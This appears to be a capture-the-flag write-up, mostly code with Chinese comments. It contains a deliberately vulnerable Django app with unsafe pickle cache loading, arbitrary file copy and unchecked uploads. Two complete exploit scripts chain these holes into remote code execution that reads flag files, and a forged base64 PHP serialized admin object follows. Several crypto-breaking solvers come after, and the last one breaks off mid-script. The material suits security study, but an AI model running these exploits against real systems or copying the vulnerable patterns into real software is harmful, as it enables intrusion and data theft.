1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

import os
import hashlib
import zlib
import pickle
from django.http import JsonResponse
from django.conf import settings

def json_success(message, **extra):
    return JsonResponse({"status": "success", "message": message, **extra})

def json_error(message, **extra):
    return JsonResponse({"status": "error", "message": message, **extra})

def cache_dir():
    return settings.CACHES["default"]["LOCATION"]

def cache_filename(key: str) -> str:
    return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"

def read_file_bytes(path: str) -> bytes:
    with open(path, "rb") as f:
        return f.read()

def write_file_chunks(file_obj, path: str):
    os.makedirs(os.path.dirname(path), exist_ok=True)
    with open(path, "wb+") as destination:
        for chunk in file_obj.chunks():
            destination.write(chunk)

def try_decompress_and_unpickle(content: bytes):
    try:
        decompressed = zlib.decompress(content)
        data = pickle.loads(decompressed)
        return data, None
    except Exception as e:
        return None, str(e)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

import os
import base64
from django.shortcuts import render, redirect
from django.http import JsonResponse, HttpResponse
from django.views.decorators.csrf import csrf_exempt
from django.core.cache import cache
from django.contrib.auth.decorators import login_required
from django.views.decorators.cache import cache_page
from django.conf import settings
import hashlib
import json
from .utils import json_success, json_error, cache_dir, cache_filename, read_file_bytes, write_file_chunks
from django.utils.html import escape
from django.utils.html import format_html


@cache_page(60)
def index(request):
    return render(request, 'index.html')


@csrf_exempt
def generate_page(request):
    if request.method == "POST":
        intro = str(request.POST.get('intro', ''))
        user = request.user if request.user.is_authenticated else 'Guest'
        blacklist = ['admin', 'config.']
        for word in blacklist:
            if word in intro:
                return HttpResponse("can't be as admin")
        outer_html = ('<h1>hello {user}</h1></p><h3>' + intro + '</h3>').format(user=request.user)
        f = request.FILES.get("file", None)
        filename = request.POST.get('filename', '') if request.POST.get('filename') else (f.name if f else '')
        
        if not f:
            return HttpResponse("❌ 没有上传文件")
        
        if not filename:
            filename = f.name
        if '.py' in filename:
            return HttpResponse("❌ 不允许上传.py文件")
        try:
            static_dir = os.path.join(settings.BASE_DIR, 'static', 'uploads')
            os.makedirs(static_dir, exist_ok=True)
            filepath = os.path.join(static_dir, filename)
            write_file_chunks(f, filepath)
            
            return HttpResponse(outer_html + f"</p><p>✅ 文件已上传: /static/uploads/{filename}</p>")
            
        except Exception as e:
            return HttpResponse(f"❌ 文件上传失败: {str(e)}")
    
    return render(request, 'generate.html')




@csrf_exempt
def upload_payload(request):
    if request.method == "POST":
        f = request.FILES.get("file", None)
        if not f:
            return json_error('No file uploaded')
        filename = request.POST.get('filename', f.name)
        if not filename.endswith('.cache'):
            return json_error('Only .cache files are allowed')
        try:
            temp_dir = '/tmp'
            filepath = os.path.join(temp_dir, filename)
            write_file_chunks(f, filepath)
            return json_success('File uploaded', filepath=filepath)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'upload.html')


@csrf_exempt
def copy_file(request):
    if request.method == "POST":
        src = request.POST.get('src', '')
        dst = request.POST.get('dst', '')
        if not src or not dst:
            return json_error('Source and destination required')
        try:
            if not os.path.exists(src):
                return json_error('Source file not found')
            os.makedirs(os.path.dirname(dst), exist_ok=True)
            content = read_file_bytes(src)
            with open(dst, 'wb') as dest_file:
                dest_file.write(content)
            return json_success('File copied', src=src, dst=dst)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'copy.html')


@csrf_exempt
def cache_viewer(request):
    if request.method == "POST":
        cache_key = request.POST.get('key', '')
        if not cache_key:
            return json_error('Cache key required')
        try:
            path = os.path.join(cache_dir(), cache_filename(cache_key))
            if os.path.exists(path):
                content = read_file_bytes(path)
                return json_success('Read cache raw', cache_path=path, raw_content=content.hex())
            return json_error(f'Cache file not found: {path}')
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'cache_viewer.html')


def profile(request):
    return render(request, 'profile.html', {'user': request.user})
@csrf_exempt
def cache_trigger(request):
    if request.method == "POST":
        key = request.POST.get('key', '') or settings.CACHE_KEY
        try:
            val = cache.get(key, None)
            if isinstance(val, (bytes, bytearray)):
                return json_success('Triggered', value_b64=base64.b64encode(val).decode())
            return json_success('Triggered', value=str(val))
        except Exception as e:
            return json_error(str(e))
    return json_error('POST required')

1
2
3
4
5

def cache_trigger(request):
    if request.method == "POST":
        key = request.POST.get('key', '') or settings.CACHE_KEY
        try:
            val = cache.get(key, None)

1

Pickle(过期时间) + zlib压缩(Pickle(RCE对象))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

def upload_payload(request):
    if request.method == "POST":
        f = request.FILES.get("file", None)
        if not f:
            return json_error('No file uploaded')
        filename = request.POST.get('filename', f.name)
        if not filename.endswith('.cache'):
            return json_error('Only .cache files are allowed')
        try:
            temp_dir = '/tmp'
            filepath = os.path.join(temp_dir, filename)
            write_file_chunks(f, filepath)
            return json_success('File uploaded', filepath=filepath)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'upload.html')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

def copy_file(request):
    if request.method == "POST":
        src = request.POST.get('src', '')
        dst = request.POST.get('dst', '')
        if not src or not dst:
            return json_error('Source and destination required')
        try:
            if not os.path.exists(src):
                return json_error('Source file not found')
            os.makedirs(os.path.dirname(dst), exist_ok=True)
            content = read_file_bytes(src)
            with open(dst, 'wb') as dest_file:
                dest_file.write(content)
            return json_success('File copied', src=src, dst=dst)
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'copy.html')

1
2

src=/tmp/payload.cache
dst=/tmp/django_cache/{md5hash}.djcache

1
2
3
4

# Django 缓存键格式
django_trigger_key = f":1:pwn_trigger"
trigger_hash = hashlib.md5(django_trigger_key.encode()).hexdigest()
# => 得到类似: "e4d909c290d0fb1ca068ffaddf22cbd0.djcache"-> {md5hash}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

def cache_viewer(request):
    if request.method == "POST":
        cache_key = request.POST.get('key', '')
        if not cache_key:
            return json_error('Cache key required')
        try:
            path = os.path.join(cache_dir(), cache_filename(cache_key))
            if os.path.exists(path):
                content = read_file_bytes(path)
                return json_success('Read cache raw', cache_path=path, raw_content=content.hex())
            return json_error(f'Cache file not found: {path}')
        except Exception as e:
            return json_error(str(e))
    
    return render(request, 'cache_viewer.html')

1
2

def cache_filename(key: str) -> str:
    return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

import os
import pickle
import requests
import hashlib
import time
import zlib
import sys

URL = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.18.27:25003"
CACHE_DIR = '/tmp/django_cache'
OUTPUT_KEY = "pwn_output"
OUTPUT_FILENAME = hashlib.md5(f":1:{OUTPUT_KEY}".encode()).hexdigest() + ".djcache"
OUTPUT_PATH = f"{CACHE_DIR}/{OUTPUT_FILENAME}"
CMD = f"cat /f* > {OUTPUT_PATH}"

class RCE:
    def __reduce__(self):
        return (eval, (f"__import__('os').system(\"{CMD}\")",))

def generate_payload():
    future_time = time.time() + 1000000
    serialized_expiry = pickle.dumps(future_time, protocol=0)
    rce_obj = RCE()
    serialized_value = pickle.dumps(rce_obj, protocol=0)
    compressed_value = zlib.compress(serialized_value)
    return serialized_expiry + compressed_value

def exploit():
    payload = generate_payload()
    
    # Upload payload
    files = {'file': ('payload.cache', payload)}
    r = requests.post(f"{URL}/upload/", files=files)
    if r.json().get('status') != 'success':
        print(f"Upload failed: {r.text}")
        return
    uploaded_path = r.json().get('filepath')
    
    # Copy to cache location
    trigger_key = "pwn_trigger"
    django_trigger_key = f":1:{trigger_key}"
    trigger_hash = hashlib.md5(django_trigger_key.encode()).hexdigest()
    dst_path = f"{CACHE_DIR}/{trigger_hash}.djcache"
    
    data = {'src': uploaded_path, 'dst': dst_path}
    requests.post(f"{URL}/copy/", data=data)
    
    # Trigger RCE
    data = {'key': trigger_key}
    requests.post(f"{URL}/cache/trigger/", data=data)
    
    # Read output
    data = {'key': OUTPUT_KEY}
    r = requests.post(f"{URL}/cache/viewer/", data=data)
    res = r.json()
    if res.get('status') == 'success':
        raw_hex = res.get('raw_content', '')
        output_bytes = bytes.fromhex(raw_hex)
        print(output_bytes.decode().strip())

if __name__ == "__main__":
    exploit()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100

import os
import pickle
import requests
import hashlib
import time
import zlib
import sys

# Target URL
URL = "http://192.168.18.27:25003"
if len(sys.argv) > 1:
    URL = sys.argv[1]

# Configuration
CACHE_DIR = '/tmp/django_cache'
OUTPUT_KEY = "pwn_output"
OUTPUT_FILENAME = hashlib.md5(OUTPUT_KEY.encode()).hexdigest() + ".djcache"
OUTPUT_PATH = f"{CACHE_DIR}/{OUTPUT_FILENAME}"

# Command to execute: execute 'id' and write to the cache file we can read later
# Using 'id' as it's standard on Linux
CMD = f"cat /f* > {OUTPUT_PATH}"

class RCE:
    def __reduce__(self):
        # execute command using os.system
        return (eval, (f"__import__('os').system(\"{CMD}\")",))

def generate_payload():
    # Django FileBasedCache format: pickle(expiry) + zlib.compress(pickle(value))
    future_time = time.time() + 1000000
    serialized_expiry = pickle.dumps(future_time, protocol=0) 
    rce_obj = RCE()
    serialized_value = pickle.dumps(rce_obj, protocol=0) 
    compressed_value = zlib.compress(serialized_value)
    return serialized_expiry + compressed_value

def exploit():
    print(f"[*] Targeting URL: {URL}")
    print("[*] Generating payload...")
    payload = generate_payload()
    
    # 1. Upload
    print("[*] Uploading payload...")
    files = {'file': ('payload.cache', payload)} 
    try:
        r = requests.post(f"{URL}/upload/", files=files)
        resp = r.json()
        if resp.get('status') == 'success':
             uploaded_path = resp.get('filepath')
             print(f"[+] Payload uploaded to: {uploaded_path}")
        else:
             print(f"[-] Upload failed: {r.text}")
             return
    except Exception as e:
        print(f"[-] Error during upload: {e}")
        return

    # 2. Copy to Cache
    # We use a DIFFERENT key for triggering the RCE.
    trigger_key = "pwn_trigger"
    django_trigger_key = f":1:{trigger_key}"
    trigger_hash = hashlib.md5(django_trigger_key.encode()).hexdigest()
    dst_path = f"{CACHE_DIR}/{trigger_hash}.djcache"
    
    print(f"[*] Copying payload from {uploaded_path} to {dst_path}...")
    data = {'src': uploaded_path, 'dst': dst_path}
    requests.post(f"{URL}/copy/", data=data)

    # 3. Trigger RCE
    print(f"[*] Triggering RCE via key: {trigger_key}")
    data = {'key': trigger_key}
    requests.post(f"{URL}/cache/trigger/", data=data)
    
    # 4. Exfiltrate via Cache Viewer
    # The RCE should have written the output of 'id' to OUTPUT_PATH
    # OUTPUT_PATH corresponds to the cache file for OUTPUT_KEY
    print(f"[*] Reading output via cache viewer for key: {OUTPUT_KEY}")
    data = {'key': OUTPUT_KEY}
    try:
        r = requests.post(f"{URL}/cache/viewer/", data=data)
        # Check if successful
        res = r.json()
        if res.get('status') == 'success':
            raw_hex = res.get('raw_content', '')
            # The file content is just the raw output of 'id' (text), but maybe hex encoded by the view?
            # view says: raw_content=content.hex()
            output_bytes = bytes.fromhex(raw_hex)
            print(f"[SUCCESS] RCE Output: {output_bytes.decode().strip()}")
        else:
            print(f"[-] Failed to read output: {r.text}")
            print("[*] Note: RCE might have run but writing to file failed (permissions?).")
            print("    Check the previous Trigger step returned 'value': '0'.")
            
    except Exception as e:
        print(f"[-] Error reading output: {e}")

if __name__ == "__main__":
    exploit()

1

Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE6IjEiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ==

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

import json, random, hashlib, math
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse, GCD

# 数据
n = 0xb7f5f009342de5a47e1283fdeb22cd85ddcd01cd0279dedbb248f32144dbe9c2dd8c65869a0bc51f93b0db038450417d789a17d70bac364fe3e3e514386eda42d9474cc58bad900e0f3535c469601dc11fe637b82835dd9eec6662bebca8b0446d764478599d709f99ebbe6cda0613206294de045afa31b2d63801b9b507b123
e = 65537
sig_ok_mixed_hex = "863a6f1eb90320932267259c7a28b757b6ff5357214663ab7f7b6deb81d4eb50303dd4d5b99811d37b0b208471658378dd6cc95baaec9c716b14bcef24bfd6ca0d5edf5a5edf099310fac466f43c58958a438c56f0a6aee35e244b5c5aa54ea5bf832698f19e4ace0cf437aec5fa4b55e89d643cb03560647f7dbd6d916e8c4b"
sig_fault_mixed_hex = "62590781e6738820860ff4f2a883ae183d32bbc9f62adca7227184bf84ee2539dc4a86b2356e943569b8b2c071dde8f5bc06d2879bc12aaa957127103f2b57c0d4c794945d9ee0da3a77dc194b9f227a19444ac596c0e6c693eb24455889d49d22e9de540264abee4350311e226f9ac4dfa7086d63a6560b1a6c037bc1dfaf38"
flag_enc_hex = "0x666c61677b64653562384ebfbe1d7a753bf0be4e6906d7d09a758f90967faee2787c3ee4c141a2e918a1"
seed_hint = 13

sig_ok_mixed = bytes.fromhex(sig_ok_mixed_hex)
sig_fault_mixed = bytes.fromhex(sig_fault_mixed_hex)
flag_enc = int(flag_enc_hex, 16)

# LCG参数
A = 1103515245
B = 12345
MOD = 2**31

def lcg(s):
    while True:
        s = (A * s + B) % MOD
        yield s & 0xFF

def unmix(c, s):
    g = lcg(s)
    o = bytearray()
    for i in range(0, len(c), 8):
        block = c[i:i+8]
        t_rev = bytearray()
        for j in range(len(block)):
            t_rev.append(block[j] ^ next(g))
        t = t_rev[::-1]
        o.extend(t)
    return bytes(o)

# 暴力破解种子
found = False
for k in range(0, 1000000):  # 调整范围以加快搜索
    seed = 13 + 97 * k
    try:
        sig_ok_bytes = unmix(sig_ok_mixed, seed)
        sig_ok = bytes_to_long(sig_ok_bytes)
        sig_fault_bytes = unmix(sig_fault_mixed, seed + 123456)
        sig_fault = bytes_to_long(sig_fault_bytes)
    except:
        continue
    if sig_ok >= n or sig_fault >= n:
        continue
    diff = abs(sig_ok - sig_fault)
    g = math.gcd(diff, n)
    if g > 1 and g < n:
        print(f"[+] Found seed: {seed}")
        p = g
        q = n // p
        print(f"[+] p = {p}")
        print(f"[+] q = {q}")
        # 恢复m
        m = pow(sig_ok, e, n)
        # 计算FLAG
        flag_long = flag_enc ^ m
        flag = long_to_bytes(flag_long)
        print(f"[+] Flag: {flag}")
        found = True
        break

if not found:
    print("[-] Not found in range, try increasing k")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

import sys
from decimal import Decimal, getcontext
from Crypto.Util.number import long_to_bytes, isPrime

# ---------------- 配置部分 ----------------
# 增加整数转字符串的长度限制（防止Python新版本报错 Exceeds the limit (4300) for integer string conversion）
sys.set_int_max_str_digits(100000)
sys.setrecursionlimit(5000)

# ---------------- 题目数据 ----------------
c_val = 7908369000608075306226552240713890041649799894903074579356627811865842237315201153498579205223600526520994811661608630888045462921547166872107507948062717836952855804806976414887413729060431265217539895710936669089248515746191716161194996469977577048602427553584286064475300979649416171469313168995504717602670924606819204605601860560767900702512753735554900344201907921239415885901489708576066483012272256175573658509614344875077232108364134161997767814675830320630271209201503987787921279932886374846298269125068817280777403718279754392091441050281244934594776307137448975055247018414699621410668188864774860026941
d_val = 16306054997613721520756151430779642117683661431522665108784419231044104572118893098180652730976905729602478591047033305251624752030036736271198006715513694904231940253554804069707679445942892410812386221633728427239116007373836662495075237456279818311659331982404534490546781763464409713789636372508503902598331950861474527128323735250673137355260113147338636761737748874105625008482750923429512271416511835596944209137554445130949731646669691366003832655082535985891463876904334888009751956386994969339847254470145428608062575606120441725590059524749595027078238962391188809496875025237129899849787699468205026040721
leak_str = "1.396995694831414203476063690838730308815841662737318558906107823553922718340982125801595368449608188770051881765292978548960520326036779130167518285237817101541807766017642530065080930654694948943506714268685400709580398894902693407016988670394423892586264077247263710263220932577837642377245651448838665854362532801659965471421937839336237670710012298796758992931116659292915200628873553198226185187089027680973673618973869464164460226697625936493428822424637497370197316811245879504779934098600596822159243994319583651080005054538419168988020562590543262648544970376255020489363894055887067948343768399654357738592577280906555896933717091837896978973488220368081406433117367524537063718421897982643644320078600517763936883820416362057895941185749296170109172249907094176821124345672294602380784325702476105763209165109703429326132417850746805701054961710623030742187505484821961670922386999933202645522248608323217011522889282323071281405301772218220381951540118124201599862330377374571641729649420917168701463539034702411"

# ---------------- 攻击逻辑 ----------------

# 1. 精度设置：必须比 leak 的长度还要大，否则计算连分数时会丢精度
getcontext().prec = len(leak_str) + 100

def get_convergents(val_str):
    """
    连分数生成器：输入高精度小数字符串，输出渐进分数 (分子, 分母)
    """
    val = Decimal(val_str)
    
    # 渐进分数初始值
    h_prev, h_curr = 0, 1
    k_prev, k_curr = 1, 0
    
    while True:
        a = int(val) # 取整数部分
        
        # 计算下一项渐进分数
        h_next = a * h_curr + h_prev
        k_next = a * k_curr + k_prev
        
        yield h_next, k_next
        
        # 状态递推
        h_prev, h_curr = h_curr, h_next
        k_prev, k_curr = k_curr, k_next
        
        # 计算剩余部分，如果刚好除尽则停止
        if val == a: break
        val = Decimal(1) / (val - Decimal(a))

def solve():
    print("[-] 正在计算连分数...")
    
    # 迭代每一个渐进分数
    for p, q in get_convergents(leak_str):
        
        # 筛选条件：根据题目 getPrime(1024)，p和q应该是1024位左右
        # 放宽一点范围以防万一
        if 1000 < p.bit_length() < 1050 and 1000 < q.bit_length() < 1050:
            
            # 严格检查是否为质数
            if isPrime(p) and isPrime(q):
                print(f"[+] 找到疑似 p, q !")
                print(f"    p: {p}")
                print(f"    q: {q}")
                
                # 计算模数 n
                n = p * q
                
                # 解密 m = c^d mod n
                m = pow(c_val, d_val, n)
                
                try:
                    flag = long_to_bytes(m)
                    # 检查是否包含 flag 特征
                    if b'flag{' in flag or b'}' in flag:
                        print("\n[SUCCESS] Flag 如下:")
                        print(flag.decode())
                        return
                except:
                    continue

if __name__ == "__main__":
    solve()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115

import hashlib
from Crypto.Util.number import long_to_bytes, inverse
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
import math

# --- 题目数据 ---
salt_hex = "f62b3e49c1f05d1c"
target_hash = "a0bcbfda9bd2f0364c6f4ad0f996465bec0da2de8cd51ee11c9c883b47779cc4"
n1 = 5584300989285538211153365890789627571870624311506728764237201442331520767215704903718501881100700113185783404202199758018541582967691088869854375384182438
n2 = 5584300989285538211153365890789627571870624311506728764237201442331520767215684679677759040755449786845864086748368453212978360679736956915595159857669375
seq_prefix_str = "2993,3261,4284,5322,6307,1211,8690"
cipher_rsa = 4516247026166659285144948330256302160375394741001987438893860039618683568332625137344822301939534363324551681121344467717871483193109869787946141254659256
iv_b64 = "G+Mn2WPXhRztrDdD8m+1gw=="
ct_b64 = "j9mUOuK2iz9ZHZor8BcsXNFhFRGzkw1x4a5T1GzaYJJ8VhHj+7jN0Id47fcxw/7F"

# 常量
LCG_A, LCG_B, LCG_MOD = 1103515245, 12345, 10007
SECRET_VALUE = 1234
e = 65537

# --- 步骤 1: 爆破 Password ---
print("[*] Brute-forcing password...")
password = ""
for i in range(1000000):
    pwd = f"{i:06d}"
    h = hashlib.sha256((salt_hex + pwd).encode()).hexdigest()
    if h == target_hash:
        password = pwd
        print(f"[+] Found Password: {password}")
        break

if not password:
    print("Password not found!")
    exit()

# --- 步骤 2: 恢复 LCG 序列并获取 seq9 ---
print("[*] Generating LCG sequence...")
def gen_seq(seed, a, b, m, length):
    seq = [seed % m]
    for _ in range(length - 1):
        nxt = (a * seq[-1] + b) % m
        nxt ^= (seq[-1] & 0xff)
        seq.append(nxt)
    return seq

lcg_seed = (int(password) ^ SECRET_VALUE) % LCG_MOD
seq = gen_seq(lcg_seed, LCG_A, LCG_B, LCG_MOD, 15)

# 验证前缀
generated_prefix = ",".join(str(x) for x in seq[:7])
if generated_prefix == seq_prefix_str:
    print("[+] Sequence verified matches prefix.")
else:
    print("[-] Sequence mismatch!")
    exit()

seq9 = seq[9]
print(f"[+] seq9: {seq9}")

# --- 步骤 3: 数学推导解出 p 和 q ---
print("[*] Solving for p using quadratic equation...")
# 推导公式: p^2 + (n2 - n1 - seq9 + 1)p - n1 = 0
B = n2 - n1 - seq9 + 1
C = -n1

# 判别式 delta = B^2 - 4AC (A=1)
delta = B*B - 4*C
sqrt_delta = math.isqrt(delta)

if sqrt_delta * sqrt_delta != delta:
    print("[-] Delta is not a perfect square, math error.")
    exit()

# 求根 p = (-B + sqrt(delta)) / 2
p = (-B + sqrt_delta) // 2
q = (n1 - p) // p # 因为 n1 = p(q+1) => n1/p = q+1 => q = n1/p - 1
# 或者直接用 n1 = pq + p => pq = n1 - p => q = (n1-p)/p

# 验证
if p * (q + 1) == n1:
    print("[+] p and q recovered successfully.")
else:
    print("[-] Failed to recover p and q.")
    exit()

n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

# --- 步骤 4: RSA 解密得到 AES Key ---
print("[*] Decrypting AES Key...")
masked_key_int = pow(cipher_rsa, d, n)

mask_bytes = hashlib.sha256(str(seq9).encode()).digest()[:16]
mask_int = int.from_bytes(mask_bytes, 'big')

aes_key_int = masked_key_int ^ mask_int
aes_key = long_to_bytes(aes_key_int)
print(f"[+] AES Key recovered: {aes_key.hex()}")

# --- 步骤 5: AES 解密 Flag ---
print("[*] Decrypting Flag...")
iv = base64.b64decode(iv_b64)
ct = base64.b64decode(ct_b64)

cipher = AES.new(aes_key, AES.MODE_CBC, iv)
try:
    plaintext = unpad(cipher.decrypt(ct), 16)
    print("\n-------------------------------------------")
    print(f"FLAG: {plaintext.decode()}")
    print("-------------------------------------------")
except Exception as e:
    print(f"[-] Padding Error or Decryption failed: {e}")

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250

import sys
import math
from Crypto.Util.number import long_to_bytes, inverse

# --------------------------------------------------------------------------
# 纯整数 LLL 算法 (Integer LLL)
# --------------------------------------------------------------------------
def lll_reduction_integer(basis, delta_num=99, delta_den=100):
    """
    纯整数 LLL 算法，避免浮点数精度问题。
    """
    n = len(basis)
    m = len(basis[0])
    b = [list(row) for row in basis] # 复制基
    
    # 内部使用大整数维护 Gram-Schmidt 系数
    # 为了效率，我们使用简化的 "Rational LLL" 思想的变体
    # 这里使用一个非常稳健的定点数模拟
    
    PREC = 4000 
    ONE = 1 << PREC
    
    # 维护定点数正交基
    def update_gs(b_int):
        n = len(b_int)
        b_star = []
        mu = [[0]*n for _ in range(n)]
        sq_norms = []
        
        for i in range(n):
            vec = list(b_int[i])
            for j in range(i):
                # dot(b[i], b_star[j])
                dot_val = sum(b_int[i][k] * b_star[j][k] for k in range(m))
                norm_j = sq_norms[j]
                
                if norm_j == 0: c = 0
                else: c = (dot_val * ONE) // norm_j
                
                mu[i][j] = c
                for k in range(m):
                    vec[k] -= (c * b_star[j][k]) // ONE
            b_star.append(vec)
            sq_norms.append(sum(x*x for x in vec))
        return b_star, mu, sq_norms

    # 初始化
    b_shifted = [[x * ONE for x in row] for row in b]
    b_star, mu, sq_norms = update_gs(b_shifted)
    
    k = 1
    while k < n:
        # Size Reduction
        for j in range(k - 1, -1, -1):
            if abs(mu[k][j]) > (ONE // 2):
                q = (mu[k][j] + (ONE // 2)) // ONE
                for idx in range(m):
                    b[k][idx] -= q * b[j][idx]
                    b_shifted[k][idx] -= q * b_shifted[j][idx]
                b_star, mu, sq_norms = update_gs(b_shifted)

        # Lovasz Condition
        # |b*_k|^2 >= (delta - mu[k][k-1]^2) |b*_{k-1}|^2
        norm_k = sq_norms[k]
        norm_k1 = sq_norms[k-1]
        mu_val = mu[k][k-1]
        
        # logical check: norm_k * ONE^2 >= (delta * ONE^2 - mu^2) * norm_k1
        lhs = norm_k * ONE * ONE
        rhs = (delta_num * ONE * ONE // delta_den - mu_val * mu_val) * norm_k1 // (ONE * ONE)
        rhs = rhs * ONE * ONE
        
        if lhs < rhs:
            b[k], b[k-1] = b[k-1], b[k]
            b_shifted[k], b_shifted[k-1] = b_shifted[k-1], b_shifted[k]
            b_star, mu, sq_norms = update_gs(b_shifted)
            k = max(k - 1, 1)
        else:
            k += 1
    return b

# --------------------------------------------------------------------------
# 工具函数
# --------------------------------------------------------------------------
def solve_pell(D):
    m = 0
    d = 1
    a = int(math.isqrt(D))
    if a * a == D: return None
    a0 = a
    h_prev, h_curr = 0, 1
    k_prev, k_curr = 1, 0
    while True:
        h_next = a * h_curr + h_prev
        k_next = a * k_curr + k_prev
        if h_next**2 - D * k_next**2 == 1:
            return h_next, k_next
        h_prev, h_curr = h_curr, h_next
        k_prev, k_curr = k_curr, k_next
        m = d * a - m
        d = (D - m * m) // d
        a = (a0 + m) // d

# --------------------------------------------------------------------------
# 主逻辑
# --------------------------------------------------------------------------
def main():
    # 题目数据
    n_val = 18443962106578943927922829208562388331564422618353954662348987125496135728205879853444693999188714508145409575298801277623433658530589571956301880815632542860363148763704636874275223979061507756787642735086825973011622866458454405794279633717255674221895468734500735123736684346340314680683830866884050311047424068122453972745273167956795195575475691048908906061023817574695902603984554911326264947716547564759877947888574515784489778380086664649338093680740990860192640619047071160362288611331225632270531304525264824445326394068892806774552310748255977040249822464839809344521107040968321810533993659358229305320413
    c_val = 8176283809770578639445916571748890916863681496488338436815389781344271720445865752568007651231910205530735296305471880971422173915403956857863330698931559658909826642456860761540607878553228782799635976463090037022164739976302533892173751687781100980039065722082091714141141136171701360981540040678479802206949078162548124224838019262997441233919136963696523351831737708850863538007579105976954619102728135600542584651031405327214877358323388674864043740117718200022790892542634633918493245432384562983429810936975869853596007429259749282607844407676244954057886824475948603911174707176467261179324130051317766768127
    A_val = 1293023064232431070902426583269468463
    B_val = 105279230912868770223946474836383391725923
    gift2 = 26161714402997656593966327522661504448812191236385246127313450633226841096347099194721417620572738092514050785292503472019045698167235604357096118735431692892202119807587271344465029467089266358735895706496467947787464475365718387614
    e = 65537

    # --- Step 1 ---
    print("[*] Step 1: Pell Equation")
    D = B_val // A_val
    x_sol, y_sol = solve_pell(D)
    
    # --- Step 2 ---
    print("[*] Step 2: Hensel Lifting")
